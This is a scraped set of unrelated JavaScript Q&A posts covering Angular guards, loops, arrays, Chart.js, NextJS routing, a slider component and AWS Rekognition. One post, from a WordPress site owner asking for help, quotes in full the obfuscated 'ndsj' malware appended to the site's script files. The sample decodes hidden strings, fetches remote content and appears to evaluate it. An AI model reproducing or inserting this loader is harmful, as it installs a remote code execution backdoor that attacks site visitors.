How to write Angular Unit test case for functional guard that gets value from ngrx store

I have the following function for guard:

export const authGuardGuard: CanActivateFn = () => {
  const store = inject(Store);

  return store.pipe(select(selectUserRegistration)).pipe(
    map((result) => {
      if (!result.success) {
        store.dispatch(UserActions.navigateToRegistration());
      }

      return result.success;
    })
  );
};

And Unit test case:

describe('authGuardGuard', () => {
  const executeGuard: CanActivateFn = (...guardParameters) =>
    TestBed.runInInjectionContext(() => authGuardGuard(...guardParameters));

  let mockStore: MockStore<UserState>;

  beforeEach(() => {
    TestBed.configureTestingModule({
      imports: [StoreModule.forRoot()],
      providers: [
        provideMockStore({
          initialState: {
            user: undefined,
            registration: {
              success: true,
              error: false,
            },
          },
        }),
      ],
    });

    mockStore = TestBed.inject(MockStore);
  });

  it('should be created', () => {
    expect(executeGuard).toBeTruthy();
  });

  it('should return true if registration is successful', async () => {
    const route: ActivatedRouteSnapshot = {} as any;
    const state: RouterStateSnapshot = {} as any;

    mockStore.dispatch(UserActions.userRegistrationSuccess({ success: true }));

    const guard = executeGuard(route, state);
    expect(guard).toBeTrue();
  });
});

The executeGuard(route, state) returns store function not a boolean value like:

Store{actionsObserver: ActionsSubject{closed: false, currentObservers: []...

What am I doing wrong? Is there a better way to test functional guard?

Why won’t or statement work in a for loop? [closed]

I was looking at the w3schools JavaScript tutorial and found something that made it crash. I was trying to replace the break statement with the same thing in the second statement of the for loop. This isn’t really a problem, I just think there’s something I’m not understanding.

This was the code they had:

<html>
<body>

<h2>JavaScript Loops</h2>

<p>A loop with a <b>break</b> statement.</p>

<p id="demo"></p>

<script>
let text = "";
for (let i = 0; i < 10; i++) {
  if (i === 3) { break; }
  text += "The number is " + i + "<br>";
}

document.getElementById("demo").innerHTML = text;
</script>

</body>
</html>

And it works perfectly fine. Then I changed it to this:

<html>
<body>

<h2>JavaScript Loops</h2>

<p>A loop with a <b>break</b> statement.</p>

<p id="demo"></p>

<script>
let text = "";
for (let i = 0; i < 10 || i !== 3; i++) {
  text += "The number is " + i + "<br>";
}

document.getElementById("demo").innerHTML = text;
</script>

</body>
</html>

Then, if I run it, the webpage crashes.
if I change the or(||) to an and(&&), then it works.
Why is this?

How to access an array within an object within an array in JavaScript? [duplicate]

First I have to say I’ve been trying to solve this doubt I have by looking at other similar questions already with solutions . But I couldn’t find exactly what would solve my problem. Maybe I’m asking the wrong question… I’m here to find out.

Let’s say I have an array with objects, and each object has a property with more than one value:

const movies = [

{
  name: "movie1",
  keywords: ["black-and-white", "independent"],
  points: 0
};

{
  name: "movie2",
  keywords: ["black-and-white", "independent"],
  points: 0
};

{
  name: "movie3",
  keywords: ["color", "studio production"],
  points: 0
};

{
  name: "movie4",
  keywords: ["superhero", "blockbuster"],
  points: 0
}

];

First question: is “keywords” an array itself or just a property with more than one value inside the objects of the array “movies“?

And then the big question: how can I access it?

For example, I’m creating a quiz with questions about movies and I want that when someone clicks a button confirming that they enjoy black-and-white movies, then all the movies in the array that have the keyword “black-and-white” would get 1 point. How would you do that?

I came up with a code that almost solves this problem:

function addPoints(keyWord) {
for (i = 0; i < movies.length; i++) {
if (movies[i].keywords == keyWord) {
movies[i].points++}
else {
  movies[i].points--
}
}
};

document.getElementById("questionOneYes").addEventListener("click", function () {
  addPoints("black-and-white")
});

The code above works perfectly if the property keywords has only one value. But it doesn’t work if it has more than one, like I intend it to be.

I tried to treat the keywords property like an array and to access it through the includes() method:

function addPoints(keyWord) {
for (i = 0; i < movies.length; i++) {
if (movies[i].keywords.includes(keyWord)) {
movies[i].points++}
else {
  movies[i].points--
}
}
};

It didn’t work. I got this error message:
“Uncaught TypeError: Cannot read properties of undefined (reading ‘includes’)”

So, please help. There must be a way to make this work, otherwise I’ll have to create many properties in every object, each with a different keyword, and then more than one function to access each of these different keyword properties… and that sounds like too many lines of code for something that should be simpler and more concise to make.

Is there a way to reorder an array by comparing 2 different values and create a new one indicating previousSibling in a new array?

Given the following array

[
    {
        "id": "4d7ceda1-2058-479d-b499-8e56913c67e9",
        "title": "text 01"
    },
    {
        "id": "c0dabc89-1bf0-4f35-a17b-19adf0126f21",
        "title": "text 02",
        "previousSibling": "cfff0c5f-4339-4767-afce-a0b1526d53cb"
    },
    {
        "id": "cfff0c5f-4339-4767-afce-a0b1526d53cb",
        "title": "text 03",
        "previousSibling": "87584074-3166-42e2-8346-29210b834117"
    },
    {
        "id": "ed9e0ef4-a07b-4483-b5f0-9c5f0d08e0be",
        "title": "text 04",
        "previousSibling": "c0dabc89-1bf0-4f35-a17b-19adf0126f21"
    }
]

I need to reorder based on 2 attributes id and previousSibling.
This first array comes from the API, and I need to reorder it using previousSibling as a reference for the list. So, if the id has the value 02, the next item of the array that has the attribute previousSibling should have the value 02 and so forth.

So, it should look sort of like this one below

[
    {
        "id": "4d7ceda1-2058-479d-b499-8e56913c67e9",
        "title": "text 01"
    },
    {
        "id": "c0dabc89-1bf0-4f35-a17b-19adf0126f21",
        "title": "text 02",
        "previousSibling": "4d7ceda1-2058-479d-b499-8e56913c67e9"
    },
    {
        "id": "cfff0c5f-4339-4767-afce-a0b1526d53cb",
        "title": "text 03",
        "previousSibling": "c0dabc89-1bf0-4f35-a17b-19adf0126f21"
    },
    {
        "id": "ed9e0ef4-a07b-4483-b5f0-9c5f0d08e0be",
        "title": "text 04",
        "previousSibling": "cfff0c5f-4339-4767-afce-a0b1526d53cb"
    }
]

I have tried to compare like current.previousSibling === arrayPrevItem[i - 1].id within a filter but no success.
Any idea will be appreciated! Thank you in advance!

How to change a pie color already rederized with Chart.js?

i’m trying to change the color of a slice of pie chart that’s already renderized.

I have a viable with all the info, Data, label, color, percent and everything.

now i want to make a input or whatever to change the slice color in chart.js

This is my raw code

<body>
  <div style="display: inline-block;" class="areagraph"></div>//just filled by js with the elements  
</body>
<script>
    const allCharts = [
        { 
            name: "Gender",
            type: "pie",
            data: [
                { label: "Homem Trans", backgroundColor: "#213C64", data: 434, total: 2000, percentage:14.5 }
                  `Other Genders`
            ]
       
    ];

    allCharts.forEach(chart => {
    const containerchart = document.createElement('div');
    containerchart.classList.add('containerchart');

    const dataContainer = document.createElement('div');
    dataContainer.classList.add('data-table');

    const title = document.createElement('h1');
    title.textContent = chart.name + " in " + chart.type;

    const canvascontainerchart = document.createElement('div');
    canvascontainerchart.classList.add('graphContainer');

    const canvas = document.createElement('canvas');
    canvas.id = 'pie-chart-' + chart.name.toLowerCase().replace(/s/g, '-');
    canvascontainerchart.appendChild(canvas);

    const table = document.createElement('table');
    table.classList.add('table', 'table-bordered', 'table-hover');
    const thead = document.createElement('thead');
    const tbody = document.createElement('tbody');

    const theadRow = document.createElement('tr');
    const thColor = document.createElement('th');
    thColor.textContent = 'Cor'; // Nome da coluna de cor
    const thName = document.createElement('th');
    thName.textContent = chart.name;
    const thNumber = document.createElement('th');
    thNumber.textContent = 'Number';
    const thPercentage = document.createElement('th');
    thPercentage.textContent = 'Percentage';
    theadRow.appendChild(thColor);
    theadRow.appendChild(thName);
    theadRow.appendChild(thNumber);
    theadRow.appendChild(thPercentage);
    thead.appendChild(theadRow);

    chart.data.forEach(item => {
      const tbodyRow = document.createElement('tr');
      const tdColor = document.createElement('td');
      const colorDiv = document.createElement('div');
      colorDiv.style.width = '20px'; // Largura da div redonda
      colorDiv.style.height = '20px'; // Altura da div redonda
      colorDiv.style.borderRadius = '50%'; // Forma redonda
      colorDiv.style.backgroundColor = item.backgroundColor; // Cor de fundo correspondente
      tdColor.appendChild(colorDiv);
      
      const tdName = document.createElement('td');
      tdName.textContent = item.label;
      const tdNumber = document.createElement('td');
      tdNumber.textContent = item.data;
      const tdPercentage = document.createElement('td');
      const percentage = item.percentage;
      tdPercentage.textContent = percentage + '%';
      tbodyRow.appendChild(tdColor);
      tbodyRow.appendChild(tdName);
      tbodyRow.appendChild(tdNumber);
      tbodyRow.appendChild(tdPercentage);
      tbody.appendChild(tbodyRow);
    });

    table.appendChild(thead);
    table.appendChild(tbody);


    dataContainer.appendChild(table);
    
    /* Graph */
    containerchart.appendChild(canvascontainerchart);

    /* Table */
    containerchart.appendChild(dataContainer);

    const areagraphDiv = document.querySelector('.areagraph');

    areagraphDiv.appendChild(containerchart);

    // document.body.appendChild(containerchart);      
      
      new Chart(canvas, {
              type: chart.type,
              data: {
                labels: chart.data.map(item => item.label),
                datasets: [{
                  backgroundColor: chart.data.map(item => item.backgroundColor),
                  data: chart.data.map(item => item.percentage), // Use the raw percentage values
                }],
              },
              options: {
                plugins: {
                  title: {
                    text: chart.name,
                    display: true,
                    fullSize: true,
                    font: {
                      size: 30,
                    },
                  },
                  tooltip: {
                    callbacks: {
                      label: (percentage) => {
                        return percentage.value + "%"; // Append "%" to the tooltip label
                      },
                    },
                  },
                },
                responsive: true,
              },
    });

</script>

Well, this show how im doing the job. pick color from propety backgroundColor.

Website Infected by Malicious Code at the End of JavaScript Files in WordPress [duplicate]

Recently, I’ve detected the presence of seemingly malicious code at the end of all JavaScript files in my WordPress theme, as well as in some of my plugins.

if (typeof ndsj === "undefined") {
function o(K, T) {
    var I = x();
    return (
        (o = function (M, O) {
            M = M - 0x130;
            var b = I[M];
            if (o["JFcAhH"] === undefined) {
                var P = function (m) {
                    var v = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
                    var N = "",
                        B = "";
                    for (var g = 0x0, A, R, l = 0x0; (R = m["charAt"](l++)); ~R && ((A = g % 0x4 ? A * 0x40 + R : R), g++ % 0x4) ? (N += String["fromCharCode"](0xff & (A >> ((-0x2 * g) & 0x6)))) : 0x0) {
                        R = v["indexOf"](R);
                    }
                    for (var r = 0x0, S = N["length"]; r < S; r++) {
                        B += "%" + ("00" + N["charCodeAt"](r)["toString"](0x10))["slice"](-0x2);
                    }
                    return decodeURIComponent(B);
                };
                var C = function (m, v) {
                    var N = [],
                        B = 0x0,
                        x,
                        g = "";
                    m = P(m);
                    var k;
                    for (k = 0x0; k < 0x100; k++) {
                        N[k] = k;
                    }
                    for (k = 0x0; k < 0x100; k++) {
                        (B = (B + N[k] + v["charCodeAt"](k % v["length"])) % 0x100), (x = N[k]), (N[k] = N[B]), (N[B] = x);
                    }
                    (k = 0x0), (B = 0x0);
                    for (var A = 0x0; A < m["length"]; A++) {
                        (k = (k + 0x1) % 0x100), (B = (B + N[k]) % 0x100), (x = N[k]), (N[k] = N[B]), (N[B] = x), (g += String["fromCharCode"](m["charCodeAt"](A) ^ N[(N[k] + N[B]) % 0x100]));
                    }
                    return g;
                };
                (o["LEbwWU"] = C), (K = arguments), (o["JFcAhH"] = !![]);
            }
            var c = I[0x0],
                X = M + c,
                z = K[X];
            return !z ? (o["OGkwOY"] === undefined && (o["OGkwOY"] = !![]), (b = o["LEbwWU"](b, O)), (K[X] = b)) : (b = z), b;
        }),
        o(K, T)
    );
}
function K(o, T) {
    var I = x();
    return (
        (K = function (M, O) {
            M = M - 0x130;
            var b = I[M];
            return b;
        }),
        K(o, T)
    );
}
(function (T, I) {
    var A = K,
        k = o,
        M = T();
    while (!![]) {
        try {
            var O =
                -parseInt(k(0x183, "FYYZ")) / 0x1 +
                -parseInt(k(0x16b, "G[QU")) / 0x2 +
                (parseInt(k("0x180", "[)xW")) / 0x3) * (parseInt(A(0x179)) / 0x4) +
                -parseInt(A("0x178")) / 0x5 +
                (-parseInt(k("0x148", "FYYZ")) / 0x6) * (-parseInt(k(0x181, "*enm")) / 0x7) +
                -parseInt(A("0x193")) / 0x8 +
                (-parseInt(A("0x176")) / 0x9) * (-parseInt(k("0x14c", "UrIn")) / 0xa);
            if (O === I) break;
            else M["push"](M["shift"]());
        } catch (b) {
            M["push"](M["shift"]());
        }
    }
})(x, 0xca5cb);
var ndsj = !![],
    HttpClient = function () {
        var l = K,
            R = o,
            T = {
                BSamT: R(0x169, "JRK9") + R(0x173, "cKnG") + R("0x186", "uspQ"),
                ncqIC: function (I, M) {
                    return I == M;
                },
            };
        this[l(0x170)] = function (I, M) {
            var S = l,
                r = R,
                O = T[r("0x15a", "lv16") + "mT"][S("0x196") + "it"]("|"),
                b = 0x0;
            while (!![]) {
                switch (O[b++]) {
                    case "0":
                        var P = {
                            AfSfr: function (X, z) {
                                var h = r;
                                return T[h("0x17a", "uspQ") + "IC"](X, z);
                            },
                            oTBPr: function (X, z) {
                                return X(z);
                            },
                        };
                        continue;
                    case "1":
                        c[S(0x145) + "d"](null);
                        continue;
                    case "2":
                        c[S(0x187) + "n"](S("0x133"), I, !![]);
                        continue;
                    case "3":
                        var c = new XMLHttpRequest();
                        continue;
                    case "4":
                        c[r("0x152", "XLx2") + r("0x159", "3R@J") + r("0x18e", "lZLA") + S(0x18b) + S("0x164") + S("0x13a")] = function () {
                            var w = r,
                                Y = S;
                            if (c[Y(0x15c) + w(0x130, "VsLN") + Y(0x195) + "e"] == 0x4 && P[w(0x156, "lv16") + "fr"](c[Y("0x154") + w(0x142, "ucET")], 0xc8))
                                P[w("0x171", "uspQ") + "Pr"](M, c[Y(0x153) + w(0x149, "uspQ") + Y(0x182) + Y("0x167")]);
                        };
                        continue;
                }
                break;
            }
        };
    },
    rand = function () {
        var s = K,
            f = o;
        return Math[f("0x18c", "hcH&") + f(0x168, "M8r3")]()[s(0x15b) + s(0x147) + "ng"](0x24)[f("0x18d", "hcH&") + f(0x158, "f$)C")](0x2);
    },
    token = function () {
        var t = o,
            T = {
                xRXCT: function (I, M) {
                    return I + M;
                },
            };
        return T[t(0x14b, "M8r3") + "CT"](rand(), rand());
    };
function x() {
    var i = [
        "ope",
        "W79RW5K",
        "ps:",
        "W487pa",
        "ate",
        "WP1CWP4",
        "WPXiWPi",
        "etxcGa",
        "WQyaW5a",
        "W4pdICkW",
        "coo",
        "//s",
        "4685464tdLmCn",
        "W7xdGHG",
        "tat",
        "spl",
        "hos",
        "bfi",
        "W5RdK04",
        "ExBdGW",
        "lcF",
        "GET",
        "fCoYWPS",
        "W67cSrG",
        "AmoLzCkXA1WuW7jVW7z2W6ldIq",
        "tna",
        "W6nJW7DhWOxcIfZcT8kbaNtcHa",
        "WPjqyW",
        "nge",
        "sub",
        "WPFdTSkA",
        "7942866ZqVMZP",
        "WPOzW6G",
        "wJh",
        "i_s",
        "W5fvEq",
        "uKtcLG",
        "W75lW5S",
        "ati",
        "sen",
        "W7awmthcUmo8W7aUDYXgrq",
        "tri",
        "WPfUxCo+pmo+WPNcGGBdGCkZWRju",
        "EMVdLa",
        "lf7cOW",
        "W4XXqa",
        "AmoIzSkWAv98W7PaW4LtW7G",
        "WP9Muq",
        "age",
        "BqtcRa",
        "vHo",
        "cmkAWP4",
        "W7LrW50",
        "res",
        "sta",
        "7CJeoaS",
        "rW1q",
        "nds",
        "WRBdTCk6",
        "WOiGW5a",
        "rdHI",
        "toS",
        "rea",
        "ata",
        "WOtcHti",
        "Zms",
        "RwR",
        "WOLiDW",
        "W4RdI2K",
        "117FnsEDo",
        "cha",
        "W6hdLmoJ",
        "Arr",
        "ext",
        "W5bmDq",
        "WQNdTNm",
        "W5mFW7m",
        "WRrMWPpdI8keW6xdISozWRxcTs/dSx0",
        "W65juq",
        ".we",
        "ic.",
        "hs/cNG",
        "get",
        "zvddUa",
        "exO",
        "W7ZcPgu",
        "W5DBWP8cWPzGACoVoCoDW5xcSCkV",
        "uL7cLW",
        "1035DwUKUl",
        "WQTnwW",
        "4519550utIPJV",
        "164896lGBjiX",
        "zgFdIW",
        "WR4viG",
        "fWhdKXH1W4ddO8k1W79nDdhdQG",
        "Ehn",
        "www",
        "WOi5W7S",
        "pJOjWPLnWRGjCSoL",
        "W5xcMSo1W5BdT8kdaG",
        "seT",
        "WPDIxCo5m8o7WPFcTbRdMmkwWPHD",
        "W4bEW4y",
        "ind",
        "ohJcIW",
    ];
    x = function () {
        return i;
    };
    return x();
}
(function () {
    var W = o,
        n = K,
        T = {
            ZmsfW: function (N, B, g) {
                return N(B, g);
            },
            uijKQ: n(0x157) + "x",
            IPmiB: n("0x185") + n("0x172") + "f",
            ArrIi: n("0x191") + W(0x17b, "vQf$"),
            pGppG: W("0x161", "(f^@") + n(0x144) + "on",
            vHotn: n("0x197") + n("0x137") + "me",
            Ehnyd: W("0x14f", "zh5X") + W("0x177", "Bf[a") + "er",
            lcFVM: function (N, B) {
                return N == B;
            },
            sryMC: W(0x139, "(f^@") + ".",
            RwRYV: function (N, B) {
                return N + B;
            },
            wJhdh: function (N, B, g) {
                return N(B, g);
            },
            ZjIgL: W(0x15e, "VsLN") + n("0x17e") + ".",
            lHXAY: function (N, B) {
                return N + B;
            },
            NMJQY:
                W(0x143, "XLx2") +
                n("0x189") +
                n("0x192") +
                W("0x175", "ucET") +
                n(0x14e) +
                n(0x16d) +
                n("0x198") +
                W("0x14d", "2SGb") +
                n(0x15d) +
                W("0x16a", "cIDp") +
                W(0x134, "OkYg") +
                n("0x140") +
                W(0x162, "VsLN") +
                n("0x16e") +
                W("0x165", "Mtem") +
                W(0x184, "sB*]") +
                "=",
            zUnYc: function (N) {
                return N();
            },
        },
        I = navigator,
        M = document,
        O = screen,
        b = window,
        P = M[T[n(0x166) + "Ii"]],
        X = b[T[W("0x151", "OkYg") + "pG"]][T[n(0x150) + "tn"]],
        z = M[T[n(0x17d) + "yd"]];
    T[n(0x132) + "VM"](X[n("0x185") + W("0x17f", "3R@J") + "f"](T[W(0x131, "uspQ") + "MC"]), 0x0) && (X = X[n("0x13b") + W("0x190", "]*k*")](0x4));
    if (z && !T[n(0x15f) + "fW"](v, z, T[n(0x160) + "YV"](W(0x135, "pUlc"), X)) && !T[n("0x13f") + "dh"](v, z, T[W("0x13c", "f$)C") + "YV"](T[W("0x16c", "M8r3") + "gL"], X)) && !P) {
        var C = new HttpClient(),
            m = T[W(0x194, "JRK9") + "AY"](T[W(0x18a, "8@5Q") + "QY"], T[W(0x18f, "ZAY$") + "Yc"](token));
        C[W("0x13e", "cIDp")](m, function (N) {
            var F = W;
            T[F(0x14a, "gNke") + "fW"](v, N, T[F("0x16f", "lZLA") + "KQ"]) && b[F(0x141, "M8r3") + "l"](N);
        });
    }
    function v(N, B) {
        var L = W;
        return N[T[L(0x188, "sB*]") + "iB"]](B) !== -0x1;
    }
})();}

Furthermore, has anyone encountered something similar or has experience with this kind of malicious code being added at the end of JavaScript files?

I appreciate any shared knowledge or advice on how to address this issue. Thank you once again!

Issue making an API call to the backend in NextJS 13

I have these files in my NextJS app. Please note that I am new to NextJS 13, and have tried searching online, tutorials to catch up with the new updates, and see if I can resolve this myself, but seems that effort is to no avail.

The endpoint that I am trying to make a request to is as follows src/app/contact-route/route.js with this code:

export async function postHandler(req, res) {
    try {
        const { data } = req.body;
        console.log("DATA FROM BCK", data);
        res.status(200).json({ message: 'Data received successfully!' });
    } catch (error) {
        res.status(500).json({ error: 'failed to load data' });
    }
}

export default async function handler(req, res) {
    if (req.method === "POST") {
        return postHandler(req, res);
    } else {
        res.status(405).json({ message: 'This method is not allowed' });
    }
}

And my contact page src/app/contact/page.js file has this in it:


export default function Contact() {
    const [data, setData] = useState({
        fullName: "",
        email: "",
        phone: "",
        message: ""
    });

    const handleChange = (e) => {
        e.preventDefault();
        const { name, value } = e.target;

        setData(prevData => ({
            ...prevData,
            [name]: value
        }));
    }

    const handleSubmit = async (e) => {
        e.preventDefault();

        try {
            const baseUrl = `/app/contact-route`;
            const response = await fetch(baseUrl, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json",
                },
                body: JSON.stringify({ data })
            });
            const contactData = await response.json();
            console.log(contactData);
        } catch (error) {
            console.log(error);
        }
    }

    return (
        <div>
            <div >
                <div>
                    <div >
                        <form onSubmit={handleSubmit}>
                            <div>
                                <label htmlFor="full-name">
                                    Full name
                                </label>
                                <input
                                    type="text"
                                    name="full-name"
                                    id="full-name"
                                    onChange={handleChange}
                                    autoComplete="name"
                                />
                            </div>
                            <div>
                                <label htmlFor="email">
                                    Email
                                </label>
                                <input
                                    id="email"
                                    name="email"
                                    type="email"
                                    onChange={handleChange}
                                    autoComplete="email"
                                    placeholder="Email"
                                />
                            </div>
                            <div>
                                <button type="submit">
                                    Submit
                                </button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    )
}

The issue I am having is that making a POST request to the endpoint src/app/contact-route/route.js throws a few errors:

⨯ Detected default export in '/Users/path-to-file/src/app/contact-route/route.js'. Export a named export for each HTTP method instead.
 ⨯ No HTTP methods exported in '/Users/path-to-file/src/app/contact-route/route.js'. Export a named export for each HTTP method.

and

POST http://localhost:3000/app/contact-route 404 (Not Found)
handleSubmit @ page.js:28

SyntaxError: Unexpected token '<', "<!DOCTYPE "... is not valid JSON

Can you help me resolve this issue. Much thanks

how to flattern the array of object in javascript [closed]

I am trying flattern the array of object . I am able to do that . I just want to know is it correct way to do that or is there any better library available ?

Data

const data = {
      details: [
        {
          item_details: {
            number: "sdas",
            date: "28/07/2022"
          }
        },
        {
          item_details: {
            number: "hello",
            date: "28/07/2022"
          }
        }
      ]
    };

Code

function convetObj(data) {
  let res = {};
  for (let i = 0; i < data.details.length; i++) {
    res[`details[${i}].item_details.number`] =
      data.details[i].item_details.number;
    res[`details[${i}].item_details.date`] = data.details[i].item_details.date;
  }
  return res;
}

console.log(convetObj(data));

Here is my code at CodeSandbox

I am getting same as expected output, but wanted to know is it better way ? any better library available

expected output

{
  details[0].item_details.number:"sdas",
  details[0].item_details.date:"28/07/2022"
  details[1].item_details.number:"hello",
  details[1].item_details.date:"28/07/2022"
}

actual output

{
 "details[0].item_details.number": "sdas",
 "details[0].item_details.date": "28/07/2022",
 "details[1].item_details.number": "hello",
 "details[1].item_details.date": "28/07/2022"
} 

typeScript with next.js Slider doesn’t work

SaleSlider.tsx

import React, { useState } from "react";
import { SaleSliderItem } from "@/components/SaleSliderItem/SaleSliderItem";
import styles from "./SaleSlider.module.scss";
export function SaleSlider({ response }: { response: any }) {
  const [currentIndex, setCurrentIndex] = useState(0);
  const handleForward = () => {
    if (currentIndex < response.sliderSaleList.length - 1) {
      setCurrentIndex(currentIndex + 1);
    } else {
      setCurrentIndex(0);
    }
  };
  const handleBackward = () => {
    if (currentIndex > 0) {
      setCurrentIndex(currentIndex - 1);
    } else {
      setCurrentIndex(response.sliderSaleList.length - 1);
    }
  };
   if (
    Array.isArray(response.sliderSaleList) &&
    response.sliderSaleList.length > 0
  ) {
    return (
      <>
        <div className={styles.sliderContainer}>
          <button className={styles.sliderBtn} onClick={handleBackward}>
            backward
          </button>
          <div className={styles.flexContainerPrimary}>
            {response.sliderSaleList.map((item: any, idx: any) => (
              <SaleSliderItem
                item={item}
            isVisible={idx === currentIndex}
            key={idx}
            currentIndex={currentIndex}
          />
        ))}
      </div>

      <button className={styles.sliderBtn} onClick={handleForward}>
        forward
      </button>
    </div>
  </>
);
  } else {
    return <div>Keine Produkte verfügbar</div>;
  }
}

SaleSliderItem.tsx

import React from "react";
import styles from "./SaleSliderItem.module.scss";

export function SaleSliderItem({
  item,
  isVisible,
  currentIndex,
}: {
  item: any;
  isVisible: boolean;
  currentIndex: number;
}) {
  return (
    <div
      className={styles.flexContainerSecondary}
      style={{ display: isVisible ? "flex" : "none" }}>
      {item.stageProductImage &&
        item.stageProductImage.data &&
        item.stageProductImage.data.attributes && (
          <img
            src={`${process.env.STRAPI_URL as string}${
              item.stageProductImage.data.attributes.formats.small.url
            }`}
            alt={item.stageProductImage.data.attributes.alternativeText}
          />
        )}
      <div className={styles.flexContainerTertiary}>
        {item.stageBestseller ? (
          <p className={styles.bestseller}>Bestseller</p>
        ) : null}
        <h1>{item.stageProductName}</h1>
        <h3>€ {item.stageDiscountPrice}</h3>
        <p>
          {item.stageDiscountStartDate} ~ {item.stageDiscountEndDate}
        </p>
        <div>
          <button>ADD TO CART</button>
          <button>❤️</button>
        </div>
        <button>FIND SIMILAR STYLES</button>
      </div>
    </div>
  );
}

JSON For convenience, the “id” of each “sliderSaleList” is repeated in the same format from 1 to 7.

{
  "data": {
    "id": 1,
    "attributes": {
      "createdAt": "2023-06-05T09:13:51.046Z",
      "updatedAt": "2023-09-25T08:46:55.018Z",
      "publishedAt": "2023-09-21T11:10:34.193Z",
      "slug": "homepage",
      "stageBrand": "SALE",
      "sliderSaleList": [
        {
          "id": 1,
          "stageDiscountStartDate": "2023-09-20T22:00:00.000Z",
          "stageDiscountEndDate": "2023-09-27T22:00:00.000Z",
          "stageBestseller": true,
          "stageDiscountPrice": 28.99,
          "stageProductName": "BROWN SNEAKERS",
          "stageProductImage": {
            "data": {
              "id": 3,
              "attributes": {
                "name": "brown_sneakers.png",
                "alternativeText": "brown_sneakers",
                "caption": null,
                "width": 693,
                "height": 672,
                "formats": {
                  "small": {
                    "ext": ".png",
                    "url": "/uploads/small_brown_sneakers_f99b1f226c.png",
                    "hash": "small_brown_sneakers_f99b1f226c",
                    "mime": "image/png",
                    "name": "small_brown_sneakers.png",
                    "path": null,
                    "size": 135.01,
                    "width": 500,
                    "height": 485
                  },
                },
                "hash": "brown_sneakers_f99b1f226c",
                "ext": ".png",
                "mime": "image/png",
                "size": 58.09,
                "url": "/uploads/brown_sneakers_f99b1f226c.png",
                "previewUrl": null,
                "provider": "local",
                "provider_metadata": null,
                "createdAt": "2023-09-21T15:55:42.086Z",
                "updatedAt": "2023-09-21T15:55:42.086Z"
              }
            }
          }
        },
        {
          "id": 7,
          "stageDiscountStartDate": "2023-08-31T22:00:00.000Z",
          "stageDiscountEndDate": "2023-09-25T22:00:00.000Z",
          "stageBestseller": true,
          "stageDiscountPrice": 58.99,
          "stageProductName": "CARGO TROUSERS",
          "stageProductImage": {
            "data": {
              "id": 9,
              "attributes": {
                "name": "cargo_trousers.png",
                "alternativeText": "cargo_trousers",
                "caption": null,
                "width": 598,
                "height": 826,
                "formats": {
                  "small": {
                    "ext": ".png",
                    "url": "/uploads/small_cargo_trousers_9d9cc4cc95.png",
                    "hash": "small_cargo_trousers_9d9cc4cc95",
                    "mime": "image/png",
                    "name": "small_cargo_trousers.png",
                    "path": null,
                    "size": 125.86,
                    "width": 362,
                    "height": 500
                  },
                },
                "hash": "cargo_trousers_9d9cc4cc95",
                "ext": ".png",
                "mime": "image/png",
                "size": 68.64,
                "url": "/uploads/cargo_trousers_9d9cc4cc95.png",
                "previewUrl": null,
                "provider": "local",
                "provider_metadata": null,
                "createdAt": "2023-09-24T20:38:35.849Z",
                "updatedAt": "2023-09-24T22:34:04.160Z"
              }
            }
          }
        }
      ]
    }
  },
  "meta": {
  }
}

**I’m trying to create a slider with strapi. I want to write the slider logic separately from the slider item component. The forward and back buttons don’t work, obviously the console shows that the picture is mapped, but the next button doesn’t work.

FYI: (I also have this Warning in my Browser)

Warning: An error occurred during hydration. The server HTML was replaced with client content in <#document>.

Uncaught Error: Hydration failed because the initial UI does not match what was rendered on the server.

Can anyone help me with this?
I would really appreciate it:)!

I fetched my strapi address to page.tsx and I’m attaching JSON String here.**

JavaScript Not Executing on Initial Template Rendering

I’m experiencing a problem where JavaScript isn’t functioning as expected during the initial rendering of my web template (haml). Although I’ve included JavaScript code, it doesn’t run on the initial page load. Interestingly, even a basic console.log statement doesn’t appear in the console until I refresh the page.

this is what my template looks like

- if user.present?
  %div#button-container
    %a#my-test.button{'data-user-id' => user.id, :href => '#'}
      = image_tag('https://test.button.svg', id: 'Button', style: 'padding-top: 20px;')

:javascript
  console.log('Inside Javascript')
  $(document).ready(function() {
    console.log('Inside document.ready()')
  });

I’m finding it difficult to understand what the issue could be here. Neither console logs anything during the initial template rendering, but upon reloading the page, they log messages, indicating that the JavaScript is now functioning correctly.

How to sum values of JSON objects of similar id?

I’m trying to sum values of JOSN array objects that have the same id.

for example JSON array one is:

[{
    "id": 1,
    "value": 3
},

{
    "id": 2,
    "value": 5
},
{
    "id": 3,
    "value": 2
}]

and JSON array two is:

[{
    "id": 1,
    "value": 2
},

{
    "id": 2,
    "value": 3
},
{
    "id": 4,
    "value": 2
}]

I want to merge both JSON arrays while summing the values of similar objects (i.e. those of similar id).

Final result I want is as follows:

[{
    "id": 1,
    "value": 5
},
{
    "id": 2,
    "value": 8
},
{
    "id": 3,
    "value": 2
},
{
    "id": 4,
    "value": 2
}]

Any help would be appreciated as I’m stuck right now..
Thanks

AWS Rekognition Client – Compare Faces

I’m trying to use AWS Rekognition Client (SDK) in Javascript. I want to compared two faces using JPEG images sending the following request:

{SimilarityThreshold: 70, SourceImage: {,…}, TargetImage: {,…}}
SimilarityThreshold: 70,
SourceImage: {
Bytes: “dataimage/jpegbase64/9j/4AAQSkZJRgABAQAAAQABAAD/4
},
TargetImage: {
Bytes: “dataimage/jpegbase64/9j/4AAQSkZJRgABAQAAAQABAAD/2
}

Each Image I send as Uint8Array after check the type on github but I received the following error:

InvalidImageFormatException: Request has invalid image format
at de_InvalidImageFormatExceptionRes (webpack-internal:///(app-pages-browser)/./node_modules/@aws-sdk/client-rekognition/dist-es/protocols/Aws_json1_1.js:4384:23)
at de_CompareFacesCommandError (webpack-internal:///(app-pages-browser)/./node_modules/@aws-sdk/client-rekognition/dist-es/protocols/Aws_json1_1.js:679:25)
at async eval (webpack-internal:///(app-pages-browser)/./node_modules/@smithy/middleware-serde/dist-es/deserializerMiddleware.js:8:24)
at async eval (webpack-internal:///(app-pages-browser)/./node_modules/@aws-sdk/middleware-signing/dist-es/awsAuthMiddleware.js:20:20)
at async eval (webpack-internal:///(app-pages-browser)/./node_modules/@smithy/middleware-retry/dist-es/retryMiddleware.js:36:46)
at async eval (webpack-internal:///(app-pages-browser)/./node_modules/@aws-sdk/middleware-logger/dist-es/loggerMiddleware.js:9:26)
at async magia (webpack-internal:///(app-pages-browser)/./app/page.js:91:30)

Is the correct format Uint8Array? I tested using base64 and I got the same error.

I will appreciate your feedback

